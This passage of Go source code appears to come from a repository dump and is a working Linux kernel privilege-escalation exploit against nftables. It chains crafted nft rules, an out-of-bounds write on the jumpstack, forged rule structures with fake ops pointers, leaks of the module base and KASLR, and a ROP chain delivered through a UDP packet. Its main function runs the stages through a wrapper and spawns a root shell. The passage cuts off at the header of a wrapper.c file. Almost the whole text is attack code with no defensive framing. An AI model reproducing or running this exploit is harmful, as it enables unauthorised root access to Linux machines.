	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
			&expr.Byteorder{
				SourceRegister: 18,
				DestRegister:   8,
				Op:             expr.ByteorderHton,
				Len:            24,
				Size:           2,
			},
			// Add to the set the lsb's
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x00, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 14,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x01, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 15,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x02, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 16,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x03, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 17,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x04, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 18,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x05, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 19,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return err
	}

	// base chain alloc
	policy := nftables.ChainPolicyAccept

	// Put basechain in kmalloc-192
	baseChain := conn.AddChain(&nftables.Chain{
		Name:     "base-chain",
		Table:    table,
		Type:     nftables.ChainTypeFilter,
		Hooknum:  nftables.ChainHookInput,
		Priority: nftables.ChainPriorityFilter,
		Policy:   &policy,
	})

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x01, 0x01, 0x01, 0x01},
			},
			&expr.Meta{
				Key:            unix.NFT_META_NFTRACE,
				SourceRegister: true,
				Register:       8,
			},
		},
	})

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Verdict{
				Kind:  expr.VerdictJump,
				Chain: "leak-chain",
			},
			&expr.Verdict{
				Kind: expr.VerdictReturn,
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not create base chain: %v", err)
	}

	packet_leak_path()

	// Recover entries from set
	elems, err := conn.GetSetElements(&leakSet)

	if err != nil {
		return fmt.Errorf("Could not get set elems: %v", err)
	}

	offsets := []uint16{0, 0, 0, 0, 0, 0}

	for _, elem := range elems {
		key := binary.LittleEndian.Uint32(elem.Key)
		val := binary.BigEndian.Uint16(elem.Val)

		offsets[key] = val
	}

	// offsets[0] = jumpstack[0].chain      u16 lsb high u32
	// offsets[1] = jumpstack[0].chain      u16 lsb low  u32
	// offsets[2] = jumpstack[0].rules      u16 lsb high u32
	// offsets[3] = jumpstack[0].rules      u16 lsb low  u32
	// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
	// offsets[5] = jumpstack[0].rules_last u16 lsb low u32

	// Free all rules from the leak chain and prepare it for a write
	conn.FlushChain(leakChain)

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not delete leakchain rules: %v", err)
	}

	// chain low u16
	chainLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainLow, offsets[0])

	// chain high u16
	chainHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainHigh, offsets[1])

	// rules low u16
	ruleLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLow, offsets[4]-0x22)

	// rules high u16
	ruleHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleHigh, offsets[3])

	// rules_last low u16
	ruleLastLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastLow, (offsets[4]-0x22)+0x8)

	// rules_last high u16
	ruleLastHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])

	// Payload to write lsb of rules pointer
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			&expr.Immediate{
				Register: 8,
				Data:     chainLow,
			},
			&expr.Immediate{
				Register: 9,
				Data:     chainHigh,
			},
			&expr.Immediate{
				Register: 10,
				Data:     ruleLow,
			},
			&expr.Immediate{
				Register: 11,
				Data:     ruleHigh,
			},
			&expr.Immediate{
				Register: 12,
				Data:     ruleLastLow,
			},
			&expr.Immediate{
				Register: 13,
				Data:     ruleLastHigh,
			},
			&expr.Byteorder{
				SourceRegister: 8,
				DestRegister:   16,
				Op:             expr.ByteorderHton,
				Len:            28,
				Size:           2,
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not add oob write rule: %v", err)
	}

	// Register our trace handler to recover the leak
	traceconn, err := netlink.Dial(unix.NETLINK_NETFILTER, &netlink.Config{})

	if err != nil {
		return fmt.Errorf("Could not setup listening socket: %v", err)
	}

	defer traceconn.Close()

	// Add to trace group
	err = traceconn.JoinGroup(unix.NFNLGRP_NFTRACE)

	if err != nil {
		return fmt.Errorf("Could not add socket to trace group: %v", err)
	}

	// Trigger our leak
	packet_leak_path()

	for {
		messages, err := traceconn.Receive()

		if err != nil {
			return fmt.Errorf("Could not receive trace messages: %v", err)
		}

		// Parse the trace messages
		for _, m := range messages {
			ad, err := netlink.NewAttributeDecoder(m.Data[4:])

			if err != nil {
				return fmt.Errorf("Could not create attribute decoder: %v", err)
			}

			ad.ByteOrder = binary.BigEndian

			for ad.Next() {
				if ad.Type() == unix.NFTA_TRACE_RULE_HANDLE {
					addr := ad.Uint64() >> 3

					// Check that the 3 lower nibbles are identical (untouched by kASLR)
					if (addr & 0xfff) != (currentConfig.immOpsOff & 0xfff) {
						continue
					}

					// Small sanity check that the value > 32 bits
					if addr < 0x100000000 {
						continue
					}

					moduleBase := addr - currentConfig.immOpsOff
					moduleBase |= 0xffffff8000000000 // Set the top 25 bits to ff, which should be fine

					fmt.Printf("LEAK:%x", moduleBase)

					return nil
				}
			}
		}
	}

	return nil
}

func leak_kaslr_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
	// Main table for important chains
	table := conn.AddTable(&nftables.Table{
		Family: nftables.TableFamilyIPv4,
		Name:   "kaslr",
	})

	// Set recovering the leaked values from the stack
	leakSet := nftables.Set{
		Anonymous: false,
		Constant:  false,
		Name:      "leak-set",
		ID:        1,
		IsMap:     true,
		Table:     table,
		KeyType:   nftables.TypeInteger,
		DataType:  nftables.TypeInteger,
	}

	err := conn.AddSet(&leakSet, nil)

	if err != nil {
		return fmt.Errorf("Could no create set: %v", err)
	}

	// Set recovering the leaked stack return address
	kleakSet := nftables.Set{
		Anonymous: false,
		Constant:  false,
		Name:      "kaslr-leak-set",
		ID:        1,
		IsMap:     true,
		Table:     table,
		KeyType:   nftables.TypeInteger,
		DataType:  nftables.TypeInteger,
	}

	err = conn.AddSet(&kleakSet, nil)

	if err != nil {
		return fmt.Errorf("Could not create kernel leak set: %v", err)
	}

	// Chain used for leaking information off the stack
	leakChain := conn.AddChain(&nftables.Chain{
		Name:  "leak-chain",
		Table: table,
	})

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
			&expr.Byteorder{
				SourceRegister: 18,
				DestRegister:   8,
				Op:             expr.ByteorderHton,
				Len:            24,
				Size:           2,
			},
			// Add to the set the lsb's
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x00, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 14,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x01, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 15,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x02, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 16,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x03, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 17,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x04, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 18,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x05, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 19,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return err
	}

	// base chain alloc
	policy := nftables.ChainPolicyAccept

	baseChain := conn.AddChain(&nftables.Chain{
		Name:     "base-chain",
		Table:    table,
		Type:     nftables.ChainTypeFilter,
		Hooknum:  nftables.ChainHookInput,
		Priority: nftables.ChainPriorityFilter,
		Policy:   &policy,
	})

	// First rule: jump to leakchain to recover next rule ptr lsb
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Verdict{
				Kind:  expr.VerdictJump,
				Chain: "leak-chain",
			},
		},
	})

	// Second rule: craft a fake rule within a nft_range rule
	w := new(bytes.Buffer)

	// Craft nft_rule_dp with (dlen=32, is_last=0, handle=0)
	_ = binary.Write(w, binary.LittleEndian, uint64(32<<1))

	// Write fake nft_byteorder
	// struct nft_byteorder {
	//   u8                         sreg;                 /*     0     1 */
	//   u8                         dreg;                 /*     1     1 */
	//   enum nft_byteorder_ops     op:8;                 /*     0:16  4 */
	//   u8                         len;                  /*     3     1 */
	//   u8                         size;                 /*     4     1 */
	//
	//   /* size: 8, cachelines: 1, members: 5 */
	//   /* padding: 3 */
	//   /* last cacheline: 8 bytes */
	// };
	_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.byteorderOpsOff))

	// set byteorder::sreg as the offset // 4 of the return address on the stack
	_ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4))
	// set byteorder::dreg as the register where we want to recover the value (-4 to remove first 4 dwords of regs, aka verdict)
	_ = binary.Write(w, binary.LittleEndian, uint8(12))
	// set byteorder::op to NFT_BYTEORDER_NTOH (not sure if it matters)
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	// set byteorder::len to 8 bytes
	_ = binary.Write(w, binary.LittleEndian, uint8(8))
	// set byteorder::size to 8 (u64)
	_ = binary.Write(w, binary.LittleEndian, uint8(8))

	// padding
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	_ = binary.Write(w, binary.LittleEndian, uint8(0))

	// Write partial nft_meta, which will overlap with the end of the real nft_range
	_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff))

	payload := w.Bytes()

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Range{
				Op:       expr.CmpOpNeq,
				Register: 8, // Will overlap with meta->key
				FromData: payload[:16],
				ToData:   payload[16:],
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not create base chain: %v", err)
	}

	// Third rule, add our register, which will contain the address to the set
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x00, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 16,
				SetName:    "kaslr-leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x01, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 17,
				SetName:    "kaslr-leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not create base chain: %v", err)
	}

	packet_leak_path()

	// Flush the entries in kaslr leak set
	conn.FlushSet(&kleakSet)

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not flush kaslr leak set: %v", err)
	}

	// Recover entries from set
	elems, err := conn.GetSetElements(&leakSet)

	if err != nil {
		return fmt.Errorf("Could not get set elems: %v", err)
	}

	offsets := []uint16{0, 0, 0, 0, 0, 0}

	for _, elem := range elems {
		key := binary.LittleEndian.Uint32(elem.Key)
		val := binary.BigEndian.Uint16(elem.Val)

		offsets[key] = val
	}

	// offsets[0] = jumpstack[0].chain      u16 lsb high u32
	// offsets[1] = jumpstack[0].chain      u16 lsb low  u32
	// offsets[2] = jumpstack[0].rules      u16 lsb high u32
	// offsets[3] = jumpstack[0].rules      u16 lsb low  u32
	// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
	// offsets[5] = jumpstack[0].rules_last u16 lsb low u32

	// Free all rules from the leak chain and prepare it for a write
	conn.FlushChain(leakChain)

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not delete leakchain rules: %v", err)
	}

	// fmt.Println("[+] Flushed leak chain")

	// for i, e := range offsets {
	// 	fmt.Printf("offset[%v] = 0x%x\n", i, e)
	// }

	// chain low u16
	chainLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainLow, offsets[0])

	// chain high u16
	chainHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainHigh, offsets[1])

	// rules low u16
	// Skip real rule_dp header + nft_range_ops
	ruleLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLow, offsets[2]+16)

	// rules high u16
	ruleHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleHigh, offsets[3])

	// rules_last low u16
	ruleLastLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastLow, offsets[4])

	// rules_last high u16
	ruleLastHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])

	// Payload to write lsb of rules pointer
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			&expr.Immediate{
				Register: 8,
				Data:     chainLow,
			},
			&expr.Immediate{
				Register: 9,
				Data:     chainHigh,
			},
			&expr.Immediate{
				Register: 10,
				Data:     ruleLow,
			},
			&expr.Immediate{
				Register: 11,
				Data:     ruleHigh,
			},
			&expr.Immediate{
				Register: 12,
				Data:     ruleLastLow,
			},
			&expr.Immediate{
				Register: 13,
				Data:     ruleLastHigh,
			},
			&expr.Byteorder{
				SourceRegister: 8,
				DestRegister:   16,
				Op:             expr.ByteorderHton,
				Len:            28,
				Size:           2,
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not add oob write rule: %v", err)
	}

	// Trigger our leak
	packet_leak_path()

	// Recover leaked return address from set
	elems, err = conn.GetSetElements(&kleakSet)

	if err != nil {
		return fmt.Errorf("Could not get set elems: %v", err)
	}

	offsets2 := []uint32{0, 0}

	for _, elem := range elems {
		key := binary.LittleEndian.Uint32(elem.Key)
		val := binary.BigEndian.Uint32(elem.Val)

		offsets2[key] = val
	}

	leakedPtr := uint64(offsets2[0])<<32 | uint64(offsets2[1])

	if (leakedPtr & 0xfff) != (currentConfig.ipLocalDeliverReturn & 0xfff) {
		return fmt.Errorf("Invalid pointer: %x", leakedPtr)
	}

	fmt.Printf("LEAK:%x\n", leakedPtr-currentConfig.ipLocalDeliverReturn)

	return nil
}

func ropchain_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
	// Rop chain for our post exploit
	ropchain := craft_rop_chain(kernelBase)

	// Main table for important chains
	table := conn.AddTable(&nftables.Table{
		Family: nftables.TableFamilyIPv4,
		Name:   "rop",
	})

	// Set recovering the leaked values from the stack
	leakSet := nftables.Set{
		Anonymous: false,
		Constant:  false,
		Name:      "leak-set",
		ID:        1,
		IsMap:     true,
		Table:     table,
		KeyType:   nftables.TypeInteger,
		DataType:  nftables.TypeInteger,
	}

	err := conn.AddSet(&leakSet, nil)

	if err != nil {
		return fmt.Errorf("Could no create set: %v", err)
	}

	// Chain used for leaking information off the stack
	leakChain := conn.AddChain(&nftables.Chain{
		Name:  "leak-chain",
		Table: table,
	})

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
			&expr.Byteorder{
				SourceRegister: 18,
				DestRegister:   8,
				Op:             expr.ByteorderHton,
				Len:            24,
				Size:           2,
			},
			// Add to the set the lsb's
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x00, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 14,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x01, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 15,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x02, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 16,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x03, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 17,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x04, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 18,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x05, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 19,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return err
	}

	// base chain alloc
	policy := nftables.ChainPolicyAccept

	baseChain := conn.AddChain(&nftables.Chain{
		Name:     "base-chain",
		Table:    table,
		Type:     nftables.ChainTypeFilter,
		Hooknum:  nftables.ChainHookInput,
		Priority: nftables.ChainPriorityFilter,
		Policy:   &policy,
	})

	// First rule: jump to leakchain to recover next rule ptr lsb
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Verdict{
				Kind:  expr.VerdictJump,
				Chain: "leak-chain",
			},
		},
	})

	// Second rule: craft a fake rule within a nft_range rule
	w := new(bytes.Buffer)

	// Craft nft_rule_dp with (dlen=32, is_last=0, handle=0)
	_ = binary.Write(w, binary.LittleEndian, uint64(32<<1))

	// Write fake nft_payload
	// struct nft_payload {
	//   enum nft_payload_bases     base:8;               /*     0: 0  4 */
	//   u8                         offset;               /*     1     1 */
	//   u8                         len;                  /*     2     1 */
	//   u8                         dreg;                 /*     3     1 */

	//   /* size: 4, cachelines: 1, members: 4 */
	//   /* last cacheline: 4 bytes */
	// };
	_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.payloadOpsOff))

	// set payload::base as NFT_PAYLOAD_TRANSPORT_HEADER
	_ = binary.Write(w, binary.LittleEndian, uint8(2))
	// set payload::offset to 8 (skip UDP header)
	_ = binary.Write(w, binary.LittleEndian, uint8(8))
	// set payload::len to the length of our ropchain (aka, bytes to copy)
	_ = binary.Write(w, binary.LittleEndian, uint8(len(ropchain)))
	// set payload::dreg to point to the return address, beyond the stack canary
	_ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4))

	// padding
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	_ = binary.Write(w, binary.LittleEndian, uint8(0))

	// Write partial nft_meta, which will overlap with the end of the real nft_range
	_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff))

	payload := w.Bytes()

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Range{
				Op:       expr.CmpOpNeq,
				Register: 8, // Will overlap with meta->key
				FromData: payload[:16],
				ToData:   payload[16:],
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not create base chain: %v", err)
	}

	// Third rule, juste some placeholder
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Verdict{
				Kind: expr.VerdictReturn,
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not create base chain: %v", err)
	}

	packet_leak_path()

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not flush kaslr leak set: %v", err)
	}

	// Recover entries from set
	elems, err := conn.GetSetElements(&leakSet)

	if err != nil {
		return fmt.Errorf("Could not get set elems: %v", err)
	}

	offsets := []uint16{0, 0, 0, 0, 0, 0}

	for _, elem := range elems {
		key := binary.LittleEndian.Uint32(elem.Key)
		val := binary.BigEndian.Uint16(elem.Val)

		offsets[key] = val
	}

	// offsets[0] = jumpstack[0].chain      u16 lsb high u32
	// offsets[1] = jumpstack[0].chain      u16 lsb low  u32
	// offsets[2] = jumpstack[0].rules      u16 lsb high u32
	// offsets[3] = jumpstack[0].rules      u16 lsb low  u32
	// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
	// offsets[5] = jumpstack[0].rules_last u16 lsb low u32

	// Free all rules from the leak chain and prepare it for a write
	conn.FlushChain(leakChain)

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not delete leakchain rules: %v", err)
	}

	// chain low u16
	chainLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainLow, offsets[0])

	// chain high u16
	chainHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainHigh, offsets[1])

	// rules low u16
	// Skip real rule_dp header + nft_range_ops
	ruleLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLow, offsets[2]+16)

	// rules high u16
	ruleHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleHigh, offsets[3])

	// rules_last low u16
	ruleLastLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastLow, offsets[4])

	// rules_last high u16
	ruleLastHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])

	// Payload to write lsb of rules pointer
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			&expr.Immediate{
				Register: 8,
				Data:     chainLow,
			},
			&expr.Immediate{
				Register: 9,
				Data:     chainHigh,
			},
			&expr.Immediate{
				Register: 10,
				Data:     ruleLow,
			},
			&expr.Immediate{
				Register: 11,
				Data:     ruleHigh,
			},
			&expr.Immediate{
				Register: 12,
				Data:     ruleLastLow,
			},
			&expr.Immediate{
				Register: 13,
				Data:     ruleLastHigh,
			},
			&expr.Byteorder{
				SourceRegister: 8,
				DestRegister:   16,
				Op:             expr.ByteorderHton,
				Len:            28,
				Size:           2,
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not add oob write rule: %v", err)
	}

	// Write our ropchain to the network packet and trigger our nft instructions
	packet_ropchain_path(ropchain)

	return nil
}

type ExploitStepFn func(*nftables.Conn, uint64, uint64) error

func nftables_wrapper(handle netns.NsHandle, step ExploitStepFn, moduleBase uint64, kernelBase uint64) error {
	// Open netlink connection
	conn, err := nftables.New(nftables.WithNetNSFd(int(handle)))
	_ = conn

	if err != nil {
		return err
	}

	conn.FlushRuleset()
	defer conn.FlushRuleset()

	err = step(conn, moduleBase, kernelBase)

	if err != nil {
		return err
	}

	return nil
}

func main() {
	// Get cpu count, will be useful for sprays
	rand.Seed(time.Now().UnixNano())

	var origAffinity unix.CPUSet
	origAffinity.Zero()

	err := unix.SchedGetaffinity(0, &origAffinity)

	if err != nil {
		panic(err)
	}

	cpuCount = origAffinity.Count()

	// Lock go routine to specific thread
	runtime.LockOSThread()
	defer runtime.UnlockOSThread()

	// Bind to a single cpu to reach same kmalloc slabs
	var cpuSet unix.CPUSet
	cpuSet.Zero()
	cpuSet.Set(0)

	err = unix.SchedSetaffinity(0, &cpuSet)

	if err != nil {
		panic(err)
	}

	if len(os.Args) >= 3 {
		mode := os.Args[1]

		if os.Args[1] != "module_leak" && os.Args[1] != "kernel_leak" && os.Args[1] != "kernel_rop" {
			fmt.Printf("Invalid binary mode: '%v'\n", os.Args[1])
		}

		moduleBase, err := strconv.ParseUint(os.Args[2], 16, 64)

		if err != nil {
			panic(err)
		}

		// Setup the environ
		ns, err := netns.New()

		if err != nil {
			panic(err)
		}

		defer ns.Close()

		// Create new net interface
		err = exec.Command("ip", "addr", "add", "127.0.0.1/8", "dev", "lo").Run()

		if err != nil {
			fmt.Printf("Could not give interface ip")
			return
		}

		err = exec.Command("ip", "link", "set", "lo", "up").Run()

		if err != nil {
			fmt.Printf("Could not up interface")
			return
		}

		if mode == "module_leak" {
			err = nftables_wrapper(ns, leak_module_step, 0, 0)
		} else if mode == "kernel_leak" {
			err = nftables_wrapper(ns, leak_kaslr_step, moduleBase, 0)
		} else {
			if len(os.Args) != 4 {
				fmt.Println("[!] Missing kernel address parameter")
				return
			}

			kernelBase, err := strconv.ParseUint(os.Args[3], 16, 64)

			if err != nil {
				panic(err)
			}

			err = nftables_wrapper(ns, ropchain_step, moduleBase, kernelBase)
		}

		if err != nil {
			fmt.Printf("Error: %v\n", err)
		}
	} else if len(os.Args) == 1 {
		// No arguments, launch the full exploit process
		// First resolve the binary and find the wrapper in the same folder
		binPath, err := os.Readlink("/proc/self/exe")

		if err != nil {
			fmt.Printf("[!] Could not resolve binary path: %v\n", err)
			return
		}

		binFolder := path.Dir(binPath)
		wrapperPath := path.Join(binFolder, "wrapper")

		if unix.Getuid() == 0 {
			fmt.Println("[+] WARNING: Exploit already running as root. For debugging")
		}

		fmt.Println("[+] Recovering module base")
		var moduleBase uint64 = 0x0

		for i := 0; i < 15; i++ {
			moduleLeak := exec.Command(wrapperPath, binPath, "module_leak", "0")
			stdout, err := moduleLeak.Output()

			if err != nil {
				fmt.Printf("[E] Module leak failed: %v\n", err)
				return
			}

			lines := strings.Split(string(stdout), "\n")

			for _, line := range lines {
				if strings.HasPrefix(line, "LEAK") {
					addrStr := strings.Split(line, ":")[1]
					moduleBase, err = strconv.ParseUint(addrStr, 16, 64)

					if err != nil {
						// Should never happen
						panic(err)
					}

					break
				}
			}

			if moduleBase != 0 {
				break
			}

			fmt.Printf("Failed attempt #%v, retrying ...\n", i)
		}

		if moduleBase == 0 {
			fmt.Println("[E] Could not find module base, crashing the kernel :(")
		} else {
			fmt.Printf("[+] Module base: 0x%x\n", moduleBase)
			fmt.Println("[+] Recovering kernel base")
		}

		var kernelBase uint64 = 0

		for i := 0; i < 10; i++ {
			kernelLeak := exec.Command(wrapperPath, binPath, "kernel_leak", strconv.FormatUint(moduleBase, 16))
			stdout, err := kernelLeak.Output()

			if err != nil {
				fmt.Printf("[E] Kernel leak failed: %v\n", err)
				return
			}

			lines := strings.Split(string(stdout), "\n")

			for _, line := range lines {
				if strings.HasPrefix(line, "LEAK") {
					addrStr := strings.Split(line, ":")[1]
					kernelBase, err = strconv.ParseUint(addrStr, 16, 64)

					if err != nil {
						// Should never happen
						panic(err)
					}

					break
				}

			}

			if kernelBase != 0 {
				break
			}

			fmt.Printf("Failed attempt #%v, retrying ...\n", i)
		}

		fmt.Printf("[+] Kernel base: 0x%x\n", kernelBase)

		for {
			kernelLeak := exec.Command(wrapperPath, binPath, "kernel_rop", strconv.FormatUint(moduleBase, 16), strconv.FormatUint(kernelBase, 16))
			err := kernelLeak.Start()

			if err != nil {
				panic(err)
			}

			for {
				// Wait one second so we don't race with the overwriting of the
				// syscall handler
				time.Sleep(1 * time.Second)
				syscall.RawSyscall(unix.SYS_MODIFY_LDT, 0, 0, 0)

				if unix.Getuid() == 0 {
					fmt.Println("[+] Got root !!!")
					unix.Exec("/bin/sh", []string{"/bin/sh"}, os.Environ())
				}
			}
		}

	} else {
		fmt.Println("Invalid arguments")
	}

}


================================================
FILE: src/wrapper.c
================================================
#include <err.h>
#include <sched.h>
